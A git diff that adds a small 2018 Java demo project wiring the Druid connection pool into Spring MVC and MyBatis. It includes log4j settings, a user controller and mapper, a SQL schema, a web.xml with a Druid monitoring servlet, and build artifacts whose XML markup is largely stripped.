+log4j.appender.druid.layout=org.apache.log4j.PatternLayout
+log4j.appender.druid.layout.ConversionPattern= [%p] %d{yyyy-MM-dd HH\:mm\:ss} [%l] -> %m [%t] [chx]%n
+log4j.appender.druid.datePattern='.'yyyy-MM-dd
+log4j.appender.druid.Threshold = WARN
+log4j.appender.druid.append=true
+log4j.appender.druid.File=${catalina.home}/logs/druid_spring_config/druid-slow-sql.log
+# ${catalina.home}是在tomcat的目录下
\ No newline at end of file
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/spring-mybatis.xml b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/spring-mybatis.xml
new file mode 100644
index 0000000..96b9d99
--- /dev/null
+++ b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/spring-mybatis.xml
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/spring.xml b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/spring.xml
new file mode 100644
index 0000000..802e290
--- /dev/null
+++ b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/spring.xml
@@ -0,0 +1,158 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ classpath*:com/uifuture/*/mapping/*.xml
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ com.uifuture.user.service.*
+ com.uifuture.user.dao.*
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ text/html;charset=UTF-8
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ UTF-8
+
+
+ 32505856
+
+
+ 4096
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/aopalliance-1.0.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/aopalliance-1.0.jar
new file mode 100644
index 0000000..578b1a0
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/aopalliance-1.0.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/aspectjrt-1.7.1.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/aspectjrt-1.7.1.jar
new file mode 100644
index 0000000..351409c
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/aspectjrt-1.7.1.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/aspectjweaver-1.7.1.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/aspectjweaver-1.7.1.jar
new file mode 100644
index 0000000..9949bc5
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/aspectjweaver-1.7.1.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/commons-fileupload-1.3.2.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/commons-fileupload-1.3.2.jar
new file mode 100644
index 0000000..4975590
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/commons-fileupload-1.3.2.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/commons-io-2.2.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/commons-io-2.2.jar
new file mode 100644
index 0000000..84ca565
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/commons-io-2.2.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/commons-logging-1.2.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/commons-logging-1.2.jar
new file mode 100644
index 0000000..93a3b9f
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/commons-logging-1.2.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/druid-1.1.0.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/druid-1.1.0.jar
new file mode 100644
index 0000000..6c329ac
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/druid-1.1.0.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jackson-annotations-2.8.5.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jackson-annotations-2.8.5.jar
new file mode 100644
index 0000000..76567bf
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jackson-annotations-2.8.5.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jackson-core-2.8.5.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jackson-core-2.8.5.jar
new file mode 100644
index 0000000..05e1be2
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jackson-core-2.8.5.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jackson-core-asl-1.9.13.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jackson-core-asl-1.9.13.jar
new file mode 100644
index 0000000..bb4fe1d
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jackson-core-asl-1.9.13.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jackson-databind-2.8.5.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jackson-databind-2.8.5.jar
new file mode 100644
index 0000000..2794824
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jackson-databind-2.8.5.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jackson-mapper-asl-1.9.13.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jackson-mapper-asl-1.9.13.jar
new file mode 100644
index 0000000..0f2073f
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jackson-mapper-asl-1.9.13.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jconsole.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jconsole.jar
new file mode 100644
index 0000000..1ec218d
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/jconsole.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/log4j-1.2.12.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/log4j-1.2.12.jar
new file mode 100644
index 0000000..9b5a720
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/log4j-1.2.12.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/lombok-1.16.20.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/lombok-1.16.20.jar
new file mode 100644
index 0000000..1728da7
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/lombok-1.16.20.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/mybatis-3.3.0.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/mybatis-3.3.0.jar
new file mode 100644
index 0000000..1cc5f4e
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/mybatis-3.3.0.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/mybatis-spring-1.2.2.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/mybatis-spring-1.2.2.jar
new file mode 100644
index 0000000..63a226f
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/mybatis-spring-1.2.2.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/mysql-connector-java-5.1.36.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/mysql-connector-java-5.1.36.jar
new file mode 100644
index 0000000..a839c3d
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/mysql-connector-java-5.1.36.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-aop-4.2.3.RELEASE.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-aop-4.2.3.RELEASE.jar
new file mode 100644
index 0000000..99e8d0b
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-aop-4.2.3.RELEASE.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-beans-4.2.3.RELEASE.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-beans-4.2.3.RELEASE.jar
new file mode 100644
index 0000000..801c67b
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-beans-4.2.3.RELEASE.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-context-4.2.3.RELEASE.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-context-4.2.3.RELEASE.jar
new file mode 100644
index 0000000..3dd244e
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-context-4.2.3.RELEASE.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-context-support-4.2.3.RELEASE.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-context-support-4.2.3.RELEASE.jar
new file mode 100644
index 0000000..1bea51b
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-context-support-4.2.3.RELEASE.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-core-4.2.3.RELEASE.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-core-4.2.3.RELEASE.jar
new file mode 100644
index 0000000..c38bc9a
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-core-4.2.3.RELEASE.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-expression-4.2.3.RELEASE.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-expression-4.2.3.RELEASE.jar
new file mode 100644
index 0000000..54baeb3
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-expression-4.2.3.RELEASE.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-jdbc-4.2.3.RELEASE.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-jdbc-4.2.3.RELEASE.jar
new file mode 100644
index 0000000..fe18aa2
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-jdbc-4.2.3.RELEASE.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-tx-4.2.3.RELEASE.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-tx-4.2.3.RELEASE.jar
new file mode 100644
index 0000000..ec2ee7d
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-tx-4.2.3.RELEASE.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-web-4.2.3.RELEASE.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-web-4.2.3.RELEASE.jar
new file mode 100644
index 0000000..f708763
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-web-4.2.3.RELEASE.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-webmvc-4.2.3.RELEASE.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-webmvc-4.2.3.RELEASE.jar
new file mode 100644
index 0000000..69b7d18
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/spring-webmvc-4.2.3.RELEASE.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/tools.jar b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/tools.jar
new file mode 100644
index 0000000..27e7bee
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/lib/tools.jar differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/views/index.jsp b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/views/index.jsp
new file mode 100644
index 0000000..8ed39f0
--- /dev/null
+++ b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/views/index.jsp
@@ -0,0 +1,24 @@
+<%--
+ Created by IntelliJ IDEA.
+ User: 陈浩翔
+ Date: 2018/02/06
+ Time: 下午 8:19
+ To change this template use File | Settings | File Templates.
+--%>
+<%@ page contentType="text/html;charset=UTF-8" language="java" %>
+
+
+
+
+ druid配置
+
+
+
+
+
+
+
+druid配置
+
+
+
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/web.xml b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/web.xml
new file mode 100644
index 0000000..90840fe
--- /dev/null
+++ b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/web.xml
@@ -0,0 +1,117 @@
+
+ UIFuture
+
+ contextConfigLocation
+ classpath:spring.xml,classpath:spring-mybatis.xml
+
+
+ 字符集过滤器
+ encodingFilter
+ org.springframework.web.filter.CharacterEncodingFilter
+
+ 字符集编码
+ encoding
+ UTF-8
+
+
+
+ encodingFilter
+ /*
+
+
+
+
+ DruidWebStatFilter
+ com.alibaba.druid.support.http.WebStatFilter
+
+ exclusions
+
+ *.js,*.gif,*.jpg,*.png,*.css,*.ico,/druid/*
+
+
+ profileEnable
+ true
+
+
+
+ DruidWebStatFilter
+ /*
+
+
+
+
+
+ spring监听器-上下文监听器
+ org.springframework.web.context.ContextLoaderListener
+
+
+
+
+ org.springframework.web.context.request.RequestContextListener
+
+
+
+
+ org.springframework.web.util.IntrospectorCleanupListener
+
+
+
+
+ spring mvc servlet
+ springMvc
+ org.springframework.web.servlet.DispatcherServlet
+
+ spring mvc 配置文件
+ contextConfigLocation
+ classpath:spring.xml
+
+ 1
+
+
+
+
+
+ DruidStatView
+ com.alibaba.druid.support.http.StatViewServlet
+
+
+
+
+
+
+
+
+ loginUsername
+ root
+
+
+
+ loginPassword
+ chenhaoxiang
+
+
+
+ DruidStatView
+ /druid/*
+
+
+
+
+ index
+
+
+
+ springMvc
+ /
+
+
+
+
+ 30
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/pom.xml b/druid_spring_config/pom.xml
new file mode 100644
index 0000000..91ddb3f
--- /dev/null
+++ b/druid_spring_config/pom.xml
@@ -0,0 +1,205 @@
+
+
+ 4.0.0
+
+ com.uifuture
+ druid_spring_config
+ 1.0-SNAPSHOT
+
+
+ 1.7
+
+ 4.2.3.RELEASE
+
+ 3.3.0
+
+ 1.2.2
+
+ 5.1.36
+
+ 4.12
+ 1.7.1
+ 1.9.13
+
+
+
+
+
+ org.springframework
+ spring-core
+ ${spring-framework.version}
+
+
+
+ org.springframework
+ spring-context
+ ${spring-framework.version}
+
+
+ org.springframework
+ spring-context-support
+ ${spring-framework.version}
+
+
+
+
+ org.springframework
+ spring-jdbc
+ ${spring-framework.version}
+
+
+
+ org.springframework
+ spring-webmvc
+ ${spring-framework.version}
+
+
+
+ org.mybatis
+ mybatis
+ ${mybatis.version}
+
+
+
+ org.mybatis
+ mybatis-spring
+ ${mybatis-spring.version}
+
+
+
+ mysql
+ mysql-connector-java
+ ${mysql.version}
+ runtime
+
+
+
+ org.codehaus.jackson
+ jackson-mapper-asl
+ ${jackson-mapper-asl.version}
+
+
+ org.codehaus.jackson
+ jackson-core-asl
+ ${jackson-mapper-asl.version}
+
+
+
+
+
+ javax.servlet
+ servlet-api
+ 3.0-alpha-1
+
+
+
+ javax.servlet
+ jstl
+ 1.2
+
+
+ javax.servlet.jsp
+ jsp-api
+ 2.2.1-b03
+
+
+
+
+ com.alibaba
+ druid
+ 1.1.0
+
+
+
+ org.springframework
+ spring-aop
+ ${spring-framework.version}
+
+
+
+
+ org.aspectj
+ aspectjrt
+ ${aspectjweaver.version}
+
+
+
+ org.aspectj
+ aspectjweaver
+ ${aspectjweaver.version}
+
+
+
+ log4j
+ log4j
+ 1.2.12
+
+
+
+
+ com.fasterxml.jackson.core
+ jackson-core
+ 2.8.5
+
+
+ com.fasterxml.jackson.core
+ jackson-annotations
+ 2.8.5
+
+
+ com.fasterxml.jackson.core
+ jackson-databind
+ 2.8.5
+
+
+
+
+ commons-fileupload
+ commons-fileupload
+ 1.3.2
+
+
+
+
+ org.projectlombok
+ lombok
+ 1.16.20
+
+
+
+
+
+
+
+
+
+
+ ${basedir}/src/main/java
+
+ **/*.properties
+ **/*.xml
+
+
+
+ ${basedir}/src/main/resources
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+
+ 1.6
+ 1.6
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/sql/druid_spring_config.sql b/druid_spring_config/sql/druid_spring_config.sql
new file mode 100644
index 0000000..04c9cd5
--- /dev/null
+++ b/druid_spring_config/sql/druid_spring_config.sql
@@ -0,0 +1,26 @@
+/*
+Navicat MySQL Data Transfer
+
+Source Server : uifuture
+Source Server Version : 50714
+Source Host : localhost:3306
+Source Database : druid_spring_config
+
+Target Server Type : MYSQL
+Target Server Version : 50714
+File Encoding : 65001
+
+Date: 2018-02-06 23:19:42
+*/
+
+SET FOREIGN_KEY_CHECKS=0;
+
+-- ----------------------------
+-- Table structure for user
+-- ----------------------------
+DROP TABLE IF EXISTS `user`;
+CREATE TABLE `user` (
+ `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
+ `name` varchar(64) DEFAULT NULL,
+ PRIMARY KEY (`id`)
+) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;
diff --git a/druid_spring_config/src/main/java/com/uifuture/user/controller/UserContriller.java b/druid_spring_config/src/main/java/com/uifuture/user/controller/UserContriller.java
new file mode 100644
index 0000000..5d7ed91
--- /dev/null
+++ b/druid_spring_config/src/main/java/com/uifuture/user/controller/UserContriller.java
@@ -0,0 +1,43 @@
+package com.uifuture.user.controller;
+
+import com.uifuture.user.entity.User;
+import com.uifuture.user.service.UserService;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+import org.springframework.web.servlet.ModelAndView;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2018/2/6.
+ * Time: 下午 8:46.
+ * Explain:
+ */
+@RestController
+public class UserContriller {
+
+ @Autowired
+ private UserService userService;
+ @RequestMapping(value = {"/index","/"})
+ public ModelAndView index(){
+ return new ModelAndView("index");
+ }
+
+ @RequestMapping("/insert")
+ public @ResponseBody String insert(User user){
+ Integer result = userService.insertUser(user);
+ if(result.equals(1)){
+ return "success";
+ }
+ return "error";
+ }
+
+ @RequestMapping("/find")
+ public @ResponseBody User find(Integer id){
+ return userService.findUserById(id);
+ }
+
+
+}
diff --git a/druid_spring_config/src/main/java/com/uifuture/user/dao/UserMapper.java b/druid_spring_config/src/main/java/com/uifuture/user/dao/UserMapper.java
new file mode 100644
index 0000000..9beaedd
--- /dev/null
+++ b/druid_spring_config/src/main/java/com/uifuture/user/dao/UserMapper.java
@@ -0,0 +1,21 @@
+package com.uifuture.user.dao;
+
+import com.uifuture.user.entity.User;
+import org.springframework.stereotype.Repository;
+
+@Repository
+public interface UserMapper {
+ int deleteByPrimaryKey(Integer id);
+
+ int insert(User record);
+
+ int insertSelective(User record);
+
+ User selectByPrimaryKey(Integer id);
+
+ int updateByPrimaryKeySelective(User record);
+
+ int updateByPrimaryKey(User record);
+
+
+}
\ No newline at end of file
diff --git a/druid_spring_config/src/main/java/com/uifuture/user/entity/User.java b/druid_spring_config/src/main/java/com/uifuture/user/entity/User.java
new file mode 100644
index 0000000..8ae71d9
--- /dev/null
+++ b/druid_spring_config/src/main/java/com/uifuture/user/entity/User.java
@@ -0,0 +1,12 @@
+package com.uifuture.user.entity;
+
+import lombok.Data;
+
+import java.io.Serializable;
+
+@Data
+public class User implements Serializable{
+ private static final long serialVersionUID = 5205810816225483373L;
+ private Integer id;
+ private String name;
+}
\ No newline at end of file
diff --git a/druid_spring_config/src/main/java/com/uifuture/user/mapping/UserMapper.xml b/druid_spring_config/src/main/java/com/uifuture/user/mapping/UserMapper.xml
new file mode 100644
index 0000000..7623130
--- /dev/null
+++ b/druid_spring_config/src/main/java/com/uifuture/user/mapping/UserMapper.xml
@@ -0,0 +1,58 @@
+
+
+
+
+
+
+
+
+ id, name
+
+
+
+ delete from user
+ where id = #{id,jdbcType=INTEGER}
+
+
+ insert into user (id, name)
+ values (#{id,jdbcType=INTEGER}, #{name,jdbcType=VARCHAR})
+
+
+ insert into user
+
+
+ id,
+
+
+ name,
+
+
+
+
+ #{id,jdbcType=INTEGER},
+
+
+ #{name,jdbcType=VARCHAR},
+
+
+
+
+ update user
+
+
+ name = #{name,jdbcType=VARCHAR},
+
+
+ where id = #{id,jdbcType=INTEGER}
+
+
+ update user
+ set name = #{name,jdbcType=VARCHAR}
+ where id = #{id,jdbcType=INTEGER}
+
+
\ No newline at end of file
diff --git a/druid_spring_config/src/main/java/com/uifuture/user/service/UserService.java b/druid_spring_config/src/main/java/com/uifuture/user/service/UserService.java
new file mode 100644
index 0000000..3f7213b
--- /dev/null
+++ b/druid_spring_config/src/main/java/com/uifuture/user/service/UserService.java
@@ -0,0 +1,27 @@
+package com.uifuture.user.service;
+
+import com.uifuture.user.entity.User;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2018/2/6.
+ * Time: 下午 8:42.
+ * Explain:
+ */
+public interface UserService {
+
+ /**
+ * 通过id查询用户
+ * @param id
+ * @return
+ */
+ User findUserById(Integer id);
+
+ /**
+ * 插入用户
+ * @param user
+ * @return
+ */
+ Integer insertUser(User user);
+}
diff --git a/druid_spring_config/src/main/java/com/uifuture/user/service/impl/UserServiceImpl.java b/druid_spring_config/src/main/java/com/uifuture/user/service/impl/UserServiceImpl.java
new file mode 100644
index 0000000..8edd7bd
--- /dev/null
+++ b/druid_spring_config/src/main/java/com/uifuture/user/service/impl/UserServiceImpl.java
@@ -0,0 +1,29 @@
+package com.uifuture.user.service.impl;
+
+import com.uifuture.user.dao.UserMapper;
+import com.uifuture.user.entity.User;
+import com.uifuture.user.service.UserService;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2018/2/6.
+ * Time: 下午 8:43.
+ * Explain:
+ */
+@Service
+public class UserServiceImpl implements UserService{
+
+ @Autowired
+ private UserMapper userMapper;
+
+ public User findUserById(Integer id) {
+ return userMapper.selectByPrimaryKey(id);
+ }
+
+ public Integer insertUser(User user) {
+ return userMapper.insertSelective(user);
+ }
+}
diff --git a/druid_spring_config/src/main/resources/config.properties b/druid_spring_config/src/main/resources/config.properties
new file mode 100644
index 0000000..a13cc2e
--- /dev/null
+++ b/druid_spring_config/src/main/resources/config.properties
@@ -0,0 +1,14 @@
+
+# sqlԼ־
+druid_filters=stat,wall,log4j
+
+driverClassName=com.mysql.jdbc.Driver
+jdbc_url=jdbc:mysql://localhost:3306/druid_spring_config?useUnicode=true&characterEncoding=UTF-8&zeroDateTimeBehavior=convertToNull
+jdbc_username=root
+jdbc_password=1234
+#ʼӴС
+jdbc_init=50
+#ӳС
+jdbc_minIdle=20
+#ȡȴʱ λΪ
+jdbc_maxActive=60000
\ No newline at end of file
diff --git a/druid_spring_config/src/main/resources/log4j.properties b/druid_spring_config/src/main/resources/log4j.properties
new file mode 100644
index 0000000..0a3a35f
--- /dev/null
+++ b/druid_spring_config/src/main/resources/log4j.properties
@@ -0,0 +1,69 @@
+#####配置根元素
+#调试模式,写成DEBUG ---设置日志级别-存储DEBUG以及以上级别的记录
+#log4j.rootLogger=DEBUG,console,file,error,druid
+log4j.rootLogger=INFO,console,file,error,druid
+#log4j.rootLogger=ERROR,console,file,error
+#生产级项目,写成INFO就可以了
+#INFO级别比DEBUG级别高 ---console,file,error都是自己写的-名称自己定
+
+####以下配置输出到控制台的配置####
+log4j.appender.console=org.apache.log4j.ConsoleAppender
+log4j.appender.console.layout=org.apache.log4j.PatternLayout
+log4j.appender.console.Target=System.out
+log4j.appender.console.layout.ConversionPattern=[%p] %d{yyyy-MM-dd HH\:mm\:ss} [%l] -> %m [%t] [chx]%n
+
+### 输出到日志文件 ###
+log4j.appender.file=org.apache.log4j.RollingFileAppender
+#。RollingFileAppender按log文件最大长度限度生成新文件
+#以下是具体的目录
+log4j.appender.file.File=${catalina.home}/logs/druid_spring_config/info.log
+#每个文件的最大大小
+log4j.appender.file.MaxFileSize=5MB
+#最多可以是多少个文件
+log4j.appender.file.MaxBackupIndex=30
+## 输出INFO级别以上的日志 --Threshold是个全局的过滤器,它将把低于所设置的INFO的信息过滤不显示出来。
+#log4j.appender.file.Threshold=INFO
+log4j.appender.file.Threshold=DEBUG
+#服务器启动日志是追加, false:服务器启动后会生成日志文件把老的覆盖掉
+log4j.appender.file.Append = true
+#信息的布局格式-按指定的格式打出
+log4j.appender.file.layout=org.apache.log4j.PatternLayout
+#具体的布局格式 - %d为时间
+#log4j.appender.file.layout.ConversionPattern=%d %p [%c] %m %l %n
+log4j.appender.file.layout.ConversionPattern=[%p] %d{yyyy-MM-dd HH\:mm\:ss} [%l] -> %m [%t] [chx]%n
+#设置输出日志文件编码(可以控制乱码情况)
+log4j.appender.file.encoding=UTF-8
+
+
+### 保存异常信息到单独文件 ###
+log4j.appender.error = org.apache.log4j.DailyRollingFileAppender
+#DailyRollingFileAppender按日期生成新文件
+## 异常日志文件名
+log4j.appender.error.File =${catalina.home}/logs/druid_spring_config/error.log
+#这个路径是Tomcat的路径
+#在每天产生的文件后面追加
+log4j.appender.error.DatePattern = '.'yyyyMMdd
+#服务器启动日志是追加,false:服务器启动后会生成日志文件把老的覆盖掉
+log4j.appender.error.Append = true
+## 只输出ERROR级别以上的日志!!!
+log4j.appender.error.Threshold = error
+log4j.appender.error.layout = org.apache.log4j.PatternLayout
+log4j.appender.error.layout.ConversionPattern =[%p] %d{yyyy-MM-dd HH\:mm\:ss} [%l] -> %m [%t] [chx]%n
+#设置输出日志文件编码(可以控制乱码情况)
+log4j.appender.error.encoding=UTF-8
+
+
+# Druid 慢查询记录日志
+log4j.logger.druid.sql=WARN,druid
+log4j.logger.druid.sql.DataSource=WARN,druid
+log4j.logger.druid.sql.Connection=WARN,druid
+log4j.logger.druid.sql.Statement=WARN,druid
+
+log4j.appender.druid=org.apache.log4j.DailyRollingFileAppender
+log4j.appender.druid.layout=org.apache.log4j.PatternLayout
+log4j.appender.druid.layout.ConversionPattern= [%p] %d{yyyy-MM-dd HH\:mm\:ss} [%l] -> %m [%t] [chx]%n
+log4j.appender.druid.datePattern='.'yyyy-MM-dd
+log4j.appender.druid.Threshold = WARN
+log4j.appender.druid.append=true
+log4j.appender.druid.File=${catalina.home}/logs/druid_spring_config/druid-slow-sql.log
+# ${catalina.home}是在tomcat的目录下
\ No newline at end of file
diff --git a/druid_spring_config/src/main/resources/spring-mybatis.xml b/druid_spring_config/src/main/resources/spring-mybatis.xml
new file mode 100644
index 0000000..96b9d99
--- /dev/null
+++ b/druid_spring_config/src/main/resources/spring-mybatis.xml
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/src/main/resources/spring.xml b/druid_spring_config/src/main/resources/spring.xml
new file mode 100644
index 0000000..802e290
--- /dev/null
+++ b/druid_spring_config/src/main/resources/spring.xml
@@ -0,0 +1,158 @@
+
+
+
+
